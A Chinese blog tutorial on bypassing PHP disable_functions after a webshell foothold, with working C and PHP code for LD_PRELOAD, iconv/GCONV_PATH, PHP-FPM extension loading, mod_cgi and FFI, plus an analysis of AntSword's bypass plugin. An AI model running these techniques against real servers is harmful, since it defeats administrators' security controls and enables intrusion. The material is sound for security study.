PHP禁用函数绕过

前言

在渗透测试中有时候拿到shell之后发现需要执行具有suid权限的程序才能读取flag,但命令执行的函数都被ban了,就需要绕过禁用函数。这里讲讲绕过禁用函数的原理,顺便分析一下蚁剑绕过禁用函数的流程

LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

我们可以通过PHP的putenv()函数设置LD_PRELOAD环境变量,使得某些函数优先加载我们编写的恶意的动态链接库,达到劫持系统函数执行命令的目的。

PHP中的mail()函数在调用时会启动新的进程/usr/sbin/sendmail,执行strace -f /usr/sbin/sendmail 2>&1可知/usr/sbin/sendmail在运行时调用了getuid()函数,利用这个函数可以劫持mail()函数绕过禁用函数执行命令。这种Bypass的方法并不只在mail()函数中可用,PHP中的mail,imap_mail,error_log,mb_send_mail这几个函数在执行的过程中都会执行/usr/sbin/sendmail,都可以用于绕过禁用函数。

首先在test.c写入如下c代码

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <unistd.h>

uid_t getuid() { 
	unsetenv("LD_PRELOAD");
	system("whoami > /tmp/result");
	return 0;
}

然后生成动态链接库test.so

1
gcc -shared -fPIC test.c -o test.so

执行PHP代码:

1
2
3
4
<?php
putenv("LD_PRELOAD=./test.so");
mail("","","","");
?>

然后可以在/tmp/result中看到命令执行的结果。

这种方法的一个弊端是它依赖于某个被目标程序调用的函数,为了增强通用性可以使用__attribute__((constructor))修饰符,使用__attribute__((constructor))修饰的函数在main函数之前调用,如果出现在动态库中,则在动态库被加载的时候执行,一旦动态库被加载,__attribute__((constructor))修饰的函数会被立即执行。通过这种方式可以劫持启动进程,不过如果通过这种方式劫持了启动进程,而劫持后又启动了新的进程,如果没有在启动新的进程前取消LD_PRELOAD则会陷入无限循环,所以需要在启动新的进程前调用unsetenv("LD_PRELOAD")。这种绕过禁用函数的方式不局限于mail()函数,将命令执行提前到了动态链接库被加载时

首先在test.c中写入如下代码

1
2
3
4
5
6
7
#include <stdlib.h>

__attribute__ ((__constructor__)) void func ()
{
    unsetenv("LD_PRELOAD");
    system("whoami > /tmp/result");
}

然后生成动态链接库test.so

1
gcc -shared -fPIC test.c -o test.so

执行PHP代码:

1
2
3
4
<?php
putenv("LD_PRELOAD=./test.so");
mail("","","","");
?>

然后可以在/tmp/result中看到命令执行的结果。这里触发命令执行的mail函数也可以换成别的,比如下面的iconv函数。

iconv

PHP在执行iconv()函数时实际调用了glibc中一些和iconv相关的函数,其中一个叫iconv_open()的函数会根据GCONV_PATH环境变量找到系统的gconv-modules文件,再根据gconv-modules文件找到对应的.so文件进行链接。然后会调用.so文件中的gconv()gonv_init()函数。如果我们能修改GCONV_PATH环境变量指向我们编写的gconv-modules文件,则可以使得PHP加载我们上传的恶意的动态链接库,然后绕过禁用函数执行命令。

需要在/tmp目录下上传一个gconv-modules文件,在其中写入如下内容:

1
2
module  自定义字符集名(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名(小写)    2
module  INTERNAL    自定义字符集名(大写)//    ../../../../../../../../tmp/自定义字符集名(小写)    2

iconv.c中写入下面的C代码

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  system("whoami > /tmp/result");
}

生成动态链接库payload.so

1
gcc -shared -fPIC iconv.cpp -o 自定义字符集名.so

执行PHP代码:

1
2
3
4
<?php
    putenv("GCONV_PATH=/tmp/");
    iconv("自定义字符集名", "UTF-8", "whatever");
?>

然后可以在/tmp/result下看到命令执行的结果

iconv绕过禁用函数的流程来源于这篇使用GCONV_PATH与iconv进行bypass disable_functions,但实际我在使用这种方式绕过禁用函数时出现网站没有执行我们给的命令,然后,在本地的Docker中试了好多次都没成功。然后忽然想到前面有通过__attribute__((constructor))修饰符劫持启动进程在加载动态链接库时执行命令的方案,而PHP在进行编码转换时会加载动态库,于是将动态库的代码换成了前面的__attribute__((constructor))修饰的代码成功执行命令。

然后再找找原因,去/usr/lib/x86_64-linux-gnu/gconv下随便找了个.so文件丢到IDA Pro里,发现gconv_init函数长这样:__int64 __fastcall gconv_init(__int64 a1),而前面写的是void gconv_init(),估计是没有找到对应的gconv_init()函数

也不仅仅是iconv函数,还有其他的编码转换的方式也能触发iconv_open()函数,例如在蚁剑的插件源码里就有4种通过iconv绕过禁用函数的方式

1
2
3
4
5
6
7
8
9
if(function_exists('iconv')){
  iconv("payload","UTF-8","whatever");
}else if(function_exists('iconv_strlen')){
  iconv_strlen("1","payload");
}else if(function_exists('file_get_contents')){
  @file_get_contents("php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==");
}else{
  @fopen('php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==','r');
};

PHP-FPM

PHP-FPM (FastCGI Process Manager)是一个PHP FastCGI管理器,在PHP 5.3.3之后整合进了PHP包中。在安装PHP时可以在./configure后面加上–enable-fpm参数开启PHP-FPM。PHP-FPM在工作时默认监听9000端口,nginx在收到用户的.php文件的请求后通过FastCGI 协议与PHP-FPM协议进行交互,再由PHP-FPM来解析.php文件。

例如当用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉FPM:"我要执行哪个PHP文件"。

PHP-FPM拿到FastCGI的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

PHP-FPM可以绕过禁用函数主要是由于PHP-FPM中可以设置PHP_VALUEPHP_ADMIN_VALUE

查找PHP文档可知PHP_VALUE中可以设置PHP_INI_ALLPHP_INI_PERDIR类型的指令,PHP_ADMIN_VALUE中可以设置除disable_functions外的指令,其中extension可以用设置PHP启动时动态加载的扩展,extension_dir可以设置dl()函数代替加载的目录,然后又得用上前面讲到的劫持启动进程的动态链接库,使得PHP在加载动态链接库的时候执行代码:

1
2
3
4
5
6
7
#include <stdlib.h>

__attribute__ ((__constructor__)) void func ()
{
    unsetenv("LD_PRELOAD");
    system("whoami > /tmp/result");
}

生成动态链接库ext.so

1
gcc -shared -fPIC ext.c -o ext.so

将生成的动态链接库上传到/tmp文件夹,要加载动态链接库我们只需要在FastCGI的数据中加上

1
'PHP_ADMIN_VALUE': 'extenstion=/tmp/ext.so'

加载了我们生成的恶意扩展之后就会将命令执行的结果输出到/tmp/result

Apache_mod_cgi

这种绕过禁用函数的方式利用了.htaccess文件和Apache的CGI模块。需要apache2.conf中将AllowOverride设置为ALL才能通过.htaccess文件重写Apache解析规则

首先需要启用Apache的CGI模块,这个是.htaccess文件无法修改的,需要手动启用:

1
2
a2enmod cgi &&\
service apache2 restart

然后可以在.htaccess文件中添加下面的规则设置.sh结尾的文件的处理器为cgi-script

1
2
Options ExecCGI
AddHandler cgi-script .sh

再上传一个简单的CGI脚本,在浏览器访问就可以看到返回的结果为www-data。需要注意CGI脚本的换行符为unix换行符"\n",如果访问一直报错请检查换行符。

1
2
3
#!/bin/sh
echo "Content-type: text/plain\r\n"
whoami

FFI扩展

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

首先需要安装并启用FFI扩展:

1
2
3
apt install libffi-dev
docker-php-ext-install ffi
echo "ffi.enable=true">/usr/local/etc/php/conf.d/ffi.ini

然后使用下面的方式调用C代码执行命令:

1
2
3
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/result");

UAF

有4种和pwn有关的UAF,放个exp吧:https://github.com/mm0r1/exploits

蚁剑插件分析

然后可以来分析一下蚁剑绕过禁用函数的流程,以FPM为例

蚁剑在绕过禁用函数时首先会向服务器的/tmp目录上传一个包含随机数的.so文件,然后绕过禁用函数成功之后上传了一个代理脚本。

202110201953314

访问蚁剑的代理脚本可以用原来的马的密码执行系统命令,代理脚本的逻辑大致为获取到用户的请求头,然后拼接上QUERY_STRINGphp://input,然后发往本地的64995端口去请求我原来那个马。

然后使用ps命令可以看到服务器上执行过一条/bin/sh -c php -n -S 127.0.0.1:64995 -t /var/www/html,这条命令在64995端口用PHP起了一个WEB服务器,然后使用了-n参数,表示不使用配置文件,也就不会有禁用函数,代理脚本再去请求这个网站就不会有禁用函数了。

202110202013925

蚁剑在这一步已经绕过了禁用函数,再分析蚁剑的流量。蚁剑在开始绕禁用函数的时候向服务器发了两个请求,第一个请求上传了一个.so文件,其中一部分代码长这样:

1
2
3
4
5
6
7
8
$f = base64_decode(substr($_POST["w0a41d5836bc65"], 2));
$c = $_POST["bdb2ba0ec7d4de"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0; $i < strlen($c); $i += 2)
    $buf .= urldecode("%" . substr($c, $i, 2));
echo(@fwrite(fopen($f, "a"), $buf) ? "1" : "0");;

第二个请求是想FPM监听的unix套接字发送了FastCGI 协议的数据包,其中包含绕过禁用函数的键值对PHP_ADMIN_VALUE:extension=/tmp/.05220ant_x64.so,加载了刚刚上传的扩展,刚刚那条命令应该也是在加载扩展之后执行的。第二个请求中的其中一部分代码长这样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
$content = "";
$client = new Client('unix:///var/run/php-fpm/php-fpm.sock', -1);
$client->request(array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD' => 'POST',
    'SERVER_SOFTWARE' => 'php/fcgiclient',
    'REMOTE_ADDR' => '127.0.0.1',
    'REMOTE_PORT' => '9984',
    'SERVER_ADDR' => '127.0.0.1',
    'SERVER_PORT' => '80',
    'SERVER_NAME' => 'mag-tured',
    'SERVER_PROTOCOL' => 'HTTP/1.1',
    'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
    'PHP_VALUE' => 'extension=/tmp/.05220ant_x64.so',
    'PHP_ADMIN_VALUE' => 'extension=/tmp/.05220ant_x64.so',
    'CONTENT_LENGTH' => strlen($content)
),
    $content
);

然后分析刚刚的.05220ant_x64.so,丢到IDA Pro里只能在汇编里找到一个_init_proc函数,在010Editor中可以看到一条刚刚执行的PHP命令。

原本还想看看蚁剑自带的.so文件的源码以及生成扩展的逻辑的,然后在插件目录下看到它自带了4个动态链接库,分别对应Windows/Linuxx86/64,命令的部分留了200多个字符的位置,然后根据PHP路径、端口和WEB路径动态生成命令并写进扩展中,大概和前面讲到__attribute__((constructor))修饰的通用动态链接库代码生成的.so文件类似。

Referer

警惕UNIX下的LD_PRELOAD环境变量

bypass_disablefunc_via_LD_PRELOAD

使用GCONV_PATH与iconv进行bypass disable_functions

绕过Disable Functions来搞事情

php中函数禁用绕过的原理与利用

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

updatedupdated2023-05-202023-05-20